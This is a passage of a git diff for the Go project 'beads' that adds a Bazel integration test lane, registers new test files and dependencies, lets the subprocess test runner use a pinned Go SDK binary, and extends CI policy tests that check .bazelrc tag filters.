`bazel test`, before the other lane runs (or give the lanes separate jobs). +test:integration --remote_download_regex=.*/test\.xml$ + # Pure-Go lane: pr.yml's "Check pure-Go and js/wasm boundaries # (CGO_ENABLED=0)" job. CGO is off for every Go target (rules_go drops # cgo-constrained files like go build does; third_party/patches/ diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 12d5815a0..8efaf8a4c 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -223,6 +223,10 @@ jobs: # manual, missing target, empty shard) unless it is allowlisted. With # go test results (nightly) it also fails on tests that passed under go # test and were skipped under Bazel; a PR run cannot see those. + # It reads test.xml from bazel-testlogs, which --config=integration + # shares with --config=ci (same output directory): if a job ever runs + # both lanes, run each lane's equivalence right after its own + # `bazel test`, before the other lane overwrites the logs. - name: Go test equivalence if: ${{ always() && steps.test.outcome != 'skipped' }} timeout-minutes: 15 diff --git a/BUILD.bazel b/BUILD.bazel index 98d7c32c3..d50268f92 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -2,7 +2,11 @@ load("@gazelle//:def.bzl", "gazelle") load("@rules_go//go:def.bzl", "go_library", "go_test") # gazelle:prefix github.com/steveyegge/beads -# gazelle:build_tags gms_pure_go +# gazelle drops files whose build constraints name a tag it does not know. +# integration is listed so the `//go:build integration` test files (and +# //internal/testutil/integration) are in srcs and deps; rules_go filters them +# out of every build except --config=integration (.bazelrc), which sets the tag. +# gazelle:build_tags gms_pure_go,integration # integrations/ holds no Go; it stays visible to Bazel (not in .bazelignore) # only so //test/docsync can declare the markdown its link checks resolve. # gazelle:exclude integrations diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index d36253b97..88ea7915a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -487,6 +487,7 @@ go_test( srcs = [ "aaa_stdio_baseline_test.go", "actor_test.go", + "ado_roundtrip_test.go", "ado_test.go", "agent_hook_test.go", "assign_fence_embedded_test.go", @@ -528,6 +529,7 @@ go_test( "children_embedded_test.go", "children_test.go", "claim_pools_embedded_test.go", + "cli_fast_test.go", "close_embedded_test.go", "close_failure_report_test.go", "close_gate_test.go", @@ -578,6 +580,7 @@ go_test( "context_proxied_integration_test.go", "context_test.go", "contributor_embedded_test.go", + "contributor_routing_e2e_test.go", "cook_qnt_test.go", "cook_test.go", "count_embedded_test.go", @@ -618,6 +621,7 @@ go_test( "delete_input_test.go", "delete_proxied_integration_test.go", "delete_proxied_server_output_test.go", + "delete_test.go", "dep_add_target_test.go", "dep_batch_test.go", "dep_bulk_role_test.go", @@ -639,6 +643,7 @@ go_test( "doctor_embedded_test.go", "doctor_fix_order_test.go", "doctor_fix_pending_migrations_test.go", + "doctor_health_integration_test.go", "doctor_health_smoke_test.go", "doctor_health_test.go", "doctor_init_diagnostics_cgo_test.go", @@ -650,19 +655,23 @@ go_test( "doctor_test.go", "doctor_validate_test.go", "dolt_autocommit_exemption_wiring_test.go", + "dolt_autocommit_integration_test.go", "dolt_autocommit_server_test.go", "dolt_autocommit_test.go", "dolt_autopush_test.go", + "dolt_autostart_lifecycle_integration_test.go", "dolt_clean_databases_purge_proxied_integration_test.go", "dolt_clean_databases_purge_test.go", "dolt_clean_databases_quote_test.go", "dolt_commit_proxied_integration_test.go", "dolt_commit_proxied_server_test.go", + "dolt_doctor_integration_test.go", "dolt_embedded_test.go", "dolt_help_auth_test.go", "dolt_lifecycle_proxied_server_test.go", "dolt_local_only_embedded_test.go", "dolt_local_only_test.go", + "dolt_metadata_e2e_test.go", "dolt_proxied_lifecycle_test.go", "dolt_remote_add_test.go", "dolt_remote_adopt_test.go", @@ -726,6 +735,7 @@ go_test( "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", + "gitlab_integration_test.go", "gitlab_test.go", "global_identity_integration_test.go", "gomodcache_rehome_test.go", @@ -765,7 +775,9 @@ go_test( "import_embedded_test.go", "import_from_jsonl_test.go", "import_global_prefix_isolation_test.go", + "import_missing_config_prefix_test.go", "import_orphan_embedded_test.go", + "import_prefix_test.go", "import_promoted_wisp_embedded_test.go", "import_proxied_integration_test.go", "import_shared_unit_test.go", @@ -774,6 +786,7 @@ go_test( "info_kv_exclusion_test.go", "info_proxied_integration_test.go", "info_test.go", + "init_cancel_e2e_test.go", "init_commit_test.go", "init_embedded_test.go", "init_gateway_test.go", @@ -814,6 +827,7 @@ go_test( "legacy_upgrade_guard_e2e_test.go", "legacy_upgrade_guard_test.go", "legacy_upgrade_guard_witness_test.go", + "linear_roundtrip_test.go", "linear_test.go", "lint_embedded_test.go", "lint_stale_proxied_integration_test.go", @@ -851,6 +865,7 @@ go_test( "metadata_ready_test.go", "metadataless_server_workspace_test.go", "metrics_test.go", + "migrate_dolt_mode_frontdoor_integration_test.go", "migrate_dolt_mode_test.go", "migrate_embedded_test.go", "migrate_force_test.go", @@ -961,10 +976,12 @@ go_test( "rename_prefix_rewrite_test.go", "rename_prefix_test.go", "rename_prefix_worktree_test.go", + "reopen_defer_test.go", "reopen_embedded_test.go", "reopen_proxied_integration_test.go", "reopen_test.go", "repair_deps_test.go", + "reparent_test.go", "reset_global_guard_test.go", "reset_hook_ownership_test.go", "reset_worktree_test.go", @@ -1024,6 +1041,7 @@ go_test( "show_not_found_hint_test.go", "show_proxied_integration_test.go", "show_proxied_reader_test.go", + "show_test.go", "show_unit_helpers_test.go", "show_watch_test.go", "simple_helpers_test.go", @@ -1069,6 +1087,7 @@ go_test( "telemetry_scrub_test.go", "template_test.go", "test_dolt_server_cgo_test.go", + "test_helpers_integration_test.go", "test_helpers_pure_test.go", "test_helpers_test.go", "test_repo_beads_guard_darwin_test.go", diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index 9c27bb763..a131f0370 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -24,14 +24,20 @@ go_test( name = "beads_test", srcs = [ "beads_coverage_test.go", + "beads_hash_multiclone_test.go", "beads_inherited_artifacts_test.go", + "beads_integration_test.go", + "beads_multidb_test.go", + "beads_symlink_test.go", "beads_test.go", "context_test.go", "cwd_priority_test.go", "fingerprint_test.go", + "routing_integration_test.go", "sqlite_database_path_test.go", "suite_temp_test.go", "testmain_default_test.go", + "testmain_integration_test.go", "testmain_test.go", ], embed = [":beads"], @@ -41,7 +47,11 @@ go_test( "//internal/doltserver", "//internal/git", "//internal/gitenv", + "//internal/routing", + "//internal/storage/dolt", "//internal/testutil", + "//internal/testutil/bazeltest", + "//internal/types", "//internal/utils", ], ) diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel index 4eeae10e3..4218b4b98 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -26,6 +26,7 @@ go_library( go_test( name = "compact_test", srcs = [ + "compactor_test.go", "compactor_unit_test.go", "git_test.go", "haiku_test.go", @@ -33,6 +34,8 @@ go_test( embed = [":compact"], deps = [ "//internal/config", + "//internal/storage/dolt", + "//internal/testutil", "//internal/types", "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", ], diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index 70e9302ab..b53e11917 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -50,23 +50,29 @@ go_test( name = "doltserver_test", srcs = [ "configport_test.go", + "dirty_state_test.go", "doltserver_test.go", "doltserver_unix_test.go", "doltserver_windows_test.go", + "fdleak_integration_test.go", "gc_config_test.go", + "lifecycle_integration_test.go", "logrotate_test.go", "managed_server_proof_test.go", "manifest_recovery_test.go", "physical_root_test.go", + "port_race_test.go", "portsource_invariant_test.go", "portsources_test.go", "probe_test.go", "procattr_linux_test.go", + "socket_integration_test.go", "sweep_darwin_test.go", "sweep_reap_unix_test.go", "sweep_suite_linux_test.go", "sweep_suite_test.go", "sweep_test.go", + "testmain_integration_test.go", ], embed = [":doltserver"], deps = [ @@ -75,6 +81,98 @@ go_test( "//internal/githooksenv", "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", ] + select({ + "@rules_go//go/platform:aix": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:android": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:darwin": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:illumos": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:ios": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:js": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:linux": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:osx": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:plan9": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:qnx": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], + "@rules_go//go/platform:solaris": [ + "//internal/storage/doltutil", + "//internal/testutil", + "//internal/testutil/integration", + "@com_github_go_sql_driver_mysql//:mysql", + ], "@rules_go//go/platform:windows": [ "@org_golang_x_sys//windows", ], diff --git a/internal/storage/dbproxy/server/doltserver_test.go b/internal/storage/dbproxy/server/doltserver_test.go index 15b598be8..399d21a14 100644 --- a/internal/storage/dbproxy/server/doltserver_test.go +++ b/internal/storage/dbproxy/server/doltserver_test.go @@ -341,9 +341,18 @@ func TestDoltServer_StartStop_UnixSocket(t *testing.T) { t.Setenv("HOME", t.TempDir()) rootDir := t.TempDir() - sock := filepath.Join(t.TempDir(), "s.sock") + // Not t.TempDir(): it nests the test's name, which alone takes the socket + // path past the limit below under any TMPDIR longer than /tmp's (the Bazel + // test wrapper's per-process one, macOS's /var/folders/...), and the test + // would silently skip there. + sockDir, err := os.MkdirTemp("", "sock") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.RemoveAll(sockDir) }) + sock := filepath.Join(sockDir, "s.sock") // Linux sun_path is 108 bytes including the NUL terminator; macOS is 104. - // Skip on systems where t.TempDir() pushes us past the limit rather than + // Skip on systems where TMPDIR pushes us past the limit rather than // surface a confusing bind() error. if len(sock) >= 104 { t.Skipf("socket path too long (%d bytes): %s", len(sock), sock) diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 3d4a9188d..2ed025fc3 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -116,6 +116,15 @@ go_library( ], ) +# Under --config=integration, TestMultiProcessSchemaInit* and +# TestMultiStoreConcurrent_Subprocess build this package with a real +# `go test -c` (integration.SubprocessRunner). That needs the module's source +# tree and every dependency's module (dolt, go-mysql-server, ...) in a module +# cache, which no action has offline, so unlike //internal/testutil/integration +# (whose build fails on purpose) this target gets no BEADS_TEST_GO_BINARY/SDK +# data. Fine while the lane keeps BEADS_TEST_SKIP=dolt (main.yml's integration +# jobs), which skips those tests; a dolt-backed integration variant must build +# the helper binary with Bazel instead. go_test( name = "dolt_test", srcs = [ @@ -199,21 +208,29 @@ go_test( "events_test.go", "expected_revision_contract_test.go", "federation_pull_settle_test.go", + "federation_test.go", "field_length_test.go", "filters_test.go", "fk_cascade_merge_test.go", + "fresh_bootstrap_heal_integration_test.go", "fsck_test.go", "gateway_credential_test.go", "gateway_session_test.go", "generated_dependency_target_repro_test.go", + "git_remote_shared_server_test.go", + "git_remote_test.go", "graph_counter_contract_test.go", "history_presence_contract_test.go", "history_test.go", "identity_mismatch_message_test.go", "indeterminate_commit_test.go", + "initschema_0067_versioned_beads_replay_test.go", + "initschema_0069_datetime_precision_replay_test.go", "initschema_concurrent_test.go", "initschema_fresh_bootstrap_heal_test.go", "initschema_gate_test.go", + "initschema_idempotent_test.go", + "initschema_multiprocess_test.go", "initschema_pool_poison_test.go", "is_blocked_batch_test.go", "is_blocked_filter_test.go", @@ -236,6 +253,7 @@ go_test( "labels_test.go", "lease_migration_test.go", "lease_test.go", + "lenient_open_dirty_tables_integration_test.go", "lifecycle_close_reopen_contract_test.go", "lifecycle_create_contract_test.go", "lifecycle_role_hooks_test.go", @@ -248,12 +266,15 @@ go_test( "metadata_schema_test.go", "metadata_validation_test.go", "mixed_table_lifecycle_test.go", + "multistore_multiprocess_test.go", "open_test.go", "port_provenance_test.go", "portsource_propagation_test.go", + "post_migration_pool_heal_integration_test.go", "pr4107_corruption_test.go", "prune_remote_refs_test.go", "public_write_circuit_test.go", + "pull_branch_tracking_integration_test.go", "pull_branch_tracking_test.go", "pull_config_wedge_test.go", "pull_conflict_test.go", @@ -279,6 +300,7 @@ go_test( "role_fixture_kit_test.go", "role_test_helpers_test.go", "row_version_test.go", + "schema_cli_parity_integration_test.go", "schema_cli_parity_test.go", "schema_migration_dirty_test.go", "schema_migrations_conflict_test.go", @@ -318,6 +340,8 @@ go_test( "version_staging_completeness_test.go", "versioned_test.go", "wisp_custom_type_tx_test.go", + "wisp_delete_cascade_integration_test.go", + "wisp_delete_cascade_tx_integration_test.go", "wisp_gc_test.go", "wisp_infra_dep_test.go", "wisp_partition_test.go", @@ -361,12 +385,69 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_google_uuid//:uuid", + "@com_github_stretchr_testify//require", ] + select({ + "@rules_go//go/platform:aix": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], "@rules_go//go/platform:android": [ "//internal/testutil/bazeltest", + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:darwin": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:illumos": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:ios": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:js": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", ], "@rules_go//go/platform:linux": [ "//internal/testutil/bazeltest", + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:osx": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:plan9": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:qnx": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", + ], + "@rules_go//go/platform:solaris": [ + "//internal/testutil/integration", + "@org_golang_x_sync//errgroup", ], "//conditions:default": [], }), diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index ae277b5e1..4f79f92a7 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -1,4 +1,4 @@ -load("@rules_go//go:def.bzl", "go_library") +load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "fixtures", @@ -10,3 +10,18 @@ go_library( "//internal/types", ], ) + +# integration-only: fixtures_test.go is `//go:build integration`, so outside +# --config=integration this target has no tests; the tag keeps it out of +# --config=prcore/ci (hand-written, gazelle keeps it). +go_test( + name = "fixtures_test", + srcs = ["fixtures_test.go"], + embed = [":fixtures"], + tags = ["integration-only"], + deps = [ + "//internal/storage/dolt", + "//internal/testutil", + "//internal/types", + ], +) diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel new file mode 100644 index 000000000..f34816ff5 --- /dev/null +++ b/internal/testutil/integration/BUILD.bazel @@ -0,0 +1,81 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "integration", + srcs = [ + "corruption.go", + "diagnostics.go", + "harness.go", + ], + importpath = "github.com/steveyegge/beads/internal/testutil/integration", + visibility = ["//:__subpackages__"], + deps = select({ + "@rules_go//go/platform:aix": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:android": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:darwin": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:dragonfly": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:freebsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:illumos": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:ios": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:js": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:linux": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:netbsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:openbsd": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:osx": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:plan9": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:qnx": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:solaris": [ + "//internal/testutil/bazeltest", + ], + "//conditions:default": [], + }), +) + +# The package is integration-only (every file is `//go:build integration`), +# so this target holds tests only under --config=integration. There +# TestBuildErrorIsMaskedByChmod runs SubprocessRunner's `go test -c` for a +# missing package; the pinned SDK's go (plus pkg/tool, which `go test` needs +# for vet) and the module's go.mod/go.sum stand in for the toolchain and +# checkout `go test` has. integration-only: outside that config the target +# is empty, so the tag keeps it out of --config=prcore/ci (gazelle keeps it). +go_test( + name = "integration_test", + srcs = ["harness_test.go"], + data = [ + "//:go.mod", + "//:go.sum", + "@go_sdk//:bin/go", + "@go_sdk//:tools", + ], + embed = [":integration"], + env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, + tags = ["integration-only"], +) diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 244bb6cd1..918d4a451 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -20,6 +20,8 @@ import ( "syscall" "testing" "time" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // ProcessRegistry tracks spawned processes and ensures cleanup via t.Cleanup. @@ -113,6 +115,24 @@ func NewSubprocessRunner(modRoot, pkg string) *SubprocessRunner { } } +// GoBinaryEnv names the variable that points SubprocessRunner at a Go +// command other than the `go` on PATH. Under Bazel there is no toolchain on +// PATH, so a go_test that builds through SubprocessRunner declares the pinned +// SDK as data and sets it from its BUILD file: +// +// data = ["@go_sdk//:bin/go", "@go_sdk//:tools", "//:go.mod", "//:go.sum"], +// env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, +const GoBinaryEnv = "BEADS_TEST_GO_BINARY" + +// goBinary returns the go command to build with: "go" from PATH unless +// BEADS_TEST_GO_BINARY is set, which is then resolved like any other runfile. +func goBinary() (string, error) { + if os.Getenv(GoBinaryEnv) == "" { + return "go", nil + } + return bazeltest.RunfileEnv(GoBinaryEnv) +} + // Build compiles the test binary (once). Returns the path to the binary. func (r *SubprocessRunner) Build(t *testing.T) string { t.Helper() @@ -121,7 +141,12 @@ func (r *SubprocessRunner) Build(t *testing.T) string { t.Logf("SubprocessRunner: building test binary: go test -tags %s -c -o %s %s", r.tags, r.testBin, r.pkg) ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) defer cancel() - build := exec.CommandContext(ctx, "go", "test", + goBin, err := goBinary() + if err != nil { + r.buildErr = fmt.Errorf("failed to build test binary: %w", err) + return + } + build := exec.CommandContext(ctx, goBin, "test", "-tags", r.tags, "-c", "-o", r.testBin, diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 934558474..cc693f9cd 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -19,6 +19,7 @@ go_test( srcs = [ "bazel_policy_test.go", "check_build_tags_test.go", + "check_doc_freshness_test.go", "check_testing_short_test.go", "ci_capability_selector_test.go", "ci_workflow_apt_get_timeout_test.go", @@ -27,9 +28,11 @@ go_test( "conformance_script_test.go", "host_tools_test.go", "install_dolt_test.go", + "pr_preflight_test.go", "pull_dolt_image_test.go", "release_script_test.go", "test_script_test.go", + "upgrade_smoke_loop_test.go", ], data = [ ":scripts_files", diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 888a56778..022fb19af 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -679,8 +679,59 @@ var allowedBazelTestTags = map[string]string{ // pinned dolt in its runfiles, so it runs on any worker, and a server that // cannot start fails it rather than skipping, so its cached result holds. "dolt-server": "starts hermetic dolt sql-servers (or completes the lane's job without -short); excluded from --config=prcore/ci, run by --config=doltserver", - "embedded": "embedded-Dolt tier variant; its own config", - "manual": "never part of //...: a repro/bench harness, or a build input only another target needs", + "embedded": "embedded-Dolt tier variant; excluded from --config=prcore/ci, run by --config=embedded", + "manual": "never part of //...: a repro/bench harness, or a build input only another target needs; excluded from --config=prcore/ci", + // For a go_test whose every test file is `//go:build integration`: in any + // other configuration rules_go drops those files and the target runs + // zero tests, which check_testcases.py rejects and equivalence.py can + // only note. gazelle keeps the hand-written tags attribute. + "integration-only": "holds tests only under the integration build tag; excluded from --config=prcore/ci, run by --config=integration", +} + +// bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core +// lane (--config=prcore/ci): each belongs to another lane or to none. Every +// taxonomy entry that says "excluded from --config=prcore/ci" is listed here +// and vice versa (TestBazelPRCoreExcludedTagsMatchTaxonomy), so a new lane +// tag lands here, and through bazelIntegrationExcludedTags in the +// integration lane's filter too. +var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "embedded", "manual", "integration-only"} + +// bazelIntegrationRunsTags are the PR-core-excluded tags --config=integration +// runs: the integration lane is main.yml's integration jobs, whose +// BEADS_TEST_SKIP=dolt skips every container- or server-backed test, so every +// other lane's variant stays out of it. +var bazelIntegrationRunsTags = map[string]bool{"integration-only": true} + +// bazelIntegrationExcludedTags is bazelPRCoreExcludedTags less the tags the +// integration lane runs. +func bazelIntegrationExcludedTags() []string { + var tags []string + for _, tag := range bazelPRCoreExcludedTags { + if !bazelIntegrationRunsTags[tag] { + tags = append(tags, tag) + } + } + return tags +} + +func TestBazelPRCoreExcludedTagsMatchTaxonomy(t *testing.T) { + listed := map[string]bool{} + for _, tag := range bazelPRCoreExcludedTags { + listed[tag] = true + if _, ok := allowedBazelTestTags[tag]; !ok { + t.Errorf("bazelPRCoreExcludedTags: %q is not in allowedBazelTestTags", tag) + } + } + for tag, why := range allowedBazelTestTags { + if says := strings.Contains(why, "excluded from --config=prcore/ci"); says != listed[tag] { + t.Errorf("tag %q: taxonomy says excluded from prcore/ci = %v, bazelPRCoreExcludedTags = %v", tag, says, listed[tag]) + } + } + for tag := range bazelIntegrationRunsTags { + if !listed[tag] { + t.Errorf("bazelIntegrationRunsTags: %q is not in bazelPRCoreExcludedTags", tag) + } + } } // bazelTagsRequiring maps tags whose targets depend on the host to the tags @@ -811,13 +862,12 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { } } -// checkBazelrcPrcoreTagFilter requires --config=prcore to exclude the tags -// that never run in the PR-core lane. Every --test_tag_filters set by prcore or -// by a config that expands it (test:ci) is checked, since a later one would -// override the first. -func checkBazelrcPrcoreTagFilter(bazelrc string) error { - type option struct{ config, flag string } - var opts []option +// bazelrcOption is one flag set by a `command:config` line of .bazelrc; a +// flag and its separate value are joined as flag=value. +type bazelrcOption struct{ config, flag string } + +func parseBazelrcOptions(bazelrc string) []bazelrcOption { + var opts []bazelrcOption for _, line := range strings.Split(bazelrc, "\n") { fields := strings.Fields(line) if len(fields) < 2 || strings.HasPrefix(fields[0], "#") { @@ -829,15 +879,21 @@ func checkBazelrcPrcoreTagFilter(bazelrc string) error { } for i := 1; i < len(fields); i++ { flag := fields[i] - if (flag == "--config" || flag == "--test_tag_filters") && i+1 < len(fields) { + if (flag == "--config" || flag == "--test_tag_filters" || flag == "--test_arg") && i+1 < len(fields) { i++ flag += "=" + fields[i] } - opts = append(opts, option{config, flag}) + opts = append(opts, bazelrcOption{config, flag}) } } + return opts +} - lane := map[string]bool{"prcore": true} +// bazelrcLaneOptions returns the options of config and of every config that +// expands it (test:ci --config=prcore), in file order: a later filter line in +// any of them overrides an earlier one. +func bazelrcLaneOptions(opts []bazelrcOption, config string) []bazelrcOption { + lane := map[string]bool{config: true} for grew := true; grew; { grew = false for _, o := range opts { @@ -847,25 +903,69 @@ func checkBazelrcPrcoreTagFilter(bazelrc string) error { } } } - - prcoreFilter := false + var out []bazelrcOption for _, o := range opts { - if !lane[o.config] || !strings.HasPrefix(o.flag, "--test_tag_filters=") { + if lane[o.config] { + out = append(out, o) + } + } + return out +} + +// checkBazelrcLaneTagFilter requires --config= to set +// --test_tag_filters and every --test_tag_filters set by it or by a config +// that expands it to exclude each of the tags: since the last one wins, each +// must. +func checkBazelrcLaneTagFilter(bazelrc, config string, exclude []string) error { + own := false + for _, o := range bazelrcLaneOptions(parseBazelrcOptions(bazelrc), config) { + if !strings.HasPrefix(o.flag, "--test_tag_filters=") { continue } - prcoreFilter = prcoreFilter || o.config == "prcore" + own = own || o.config == config filters := map[string]bool{} for _, f := range strings.Split(strings.TrimPrefix(o.flag, "--test_tag_filters="), ",") { filters[f] = true } - for _, tag := range []string{"requires-docker", "dolt-server", "embedded", "manual"} { + for _, tag := range exclude { if !filters["-"+tag] { return errors.New(o.config + " --test_tag_filters does not exclude " + tag) } } } - if !prcoreFilter { - return errors.New(".bazelrc has no test:prcore --test_tag_filters line") + if !own { + return errors.New(".bazelrc has no test:" + config + " --test_tag_filters line") + } + return nil +} + +// checkBazelrcPrcoreTagFilter requires --config=prcore (and test:ci, which +// expands it) to exclude the tags that never run in the PR-core lane. +func checkBazelrcPrcoreTagFilter(bazelrc string) error { + return checkBazelrcLaneTagFilter(bazelrc, "prcore", bazelPRCoreExcludedTags) +} + +// checkBazelrcIntegrationLane requires --config=integration to exclude every +// other lane's tags and to pass the tests no -test.short, -test.skip or +// -test.run (nor --test_filter): main.yml's integration jobs run every test. +func checkBazelrcIntegrationLane(bazelrc string) error { + if err := checkBazelrcLaneTagFilter(bazelrc, "integration", bazelIntegrationExcludedTags()); err != nil { + return err + } + for _, o := range bazelrcLaneOptions(parseBazelrcOptions(bazelrc), "integration") { + arg, isArg := strings.CutPrefix(o.flag, "--test_arg=") + if strings.HasPrefix(o.flag, "--test_filter") { + return errors.New(o.config + " sets " + o.flag + "; the integration jobs select every test") + } + if !isArg { + continue + } + arg = strings.TrimLeft(arg, "-") + for _, bad := range []string{"test.short", "test.skip", "test.run"} { + if arg == bad || strings.HasPrefix(arg, bad+"=") { + return errors.New(o.config + " passes " + o.flag + "; the integration jobs run no -short/-skip/-run") + } + } } return nil } @@ -941,3 +1041,113 @@ func TestBazelrcDockerLaneNeverCached(t *testing.T) { } } } + +// --- integration lane ---------------------------------------------------------- + +// tagSet parses a comma-separated Go build tag list. +func tagSet(list string) map[string]bool { + set := map[string]bool{} + for _, tag := range strings.Split(list, ",") { + if tag = strings.TrimSpace(tag); tag != "" { + set[tag] = true + } + } + return set +} + +func sameTagSet(a, b map[string]bool) bool { + if len(a) != len(b) { + return false + } + for tag := range a { + if !b[tag] { + return false + } + } + return true +} + +// TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in +// step with main.yml's "Main Linux integration" jobs: the same build tags, +// race, BEADS_TEST_SKIP=dolt, and none of the variants those jobs do not run. +// It also requires gazelle to see the same tags (root BUILD.bazel +// `gazelle:build_tags`): gazelle drops a file whose build constraint names a +// tag it does not know, so without it no BUILD file would list the integration +// test files and the lane would silently run the plain package tests instead. +// With it, a file gaining `//go:build integration` lands in its package's srcs +// through `make bazel-sync`, whose staleness bazel.yml already fails on. +func 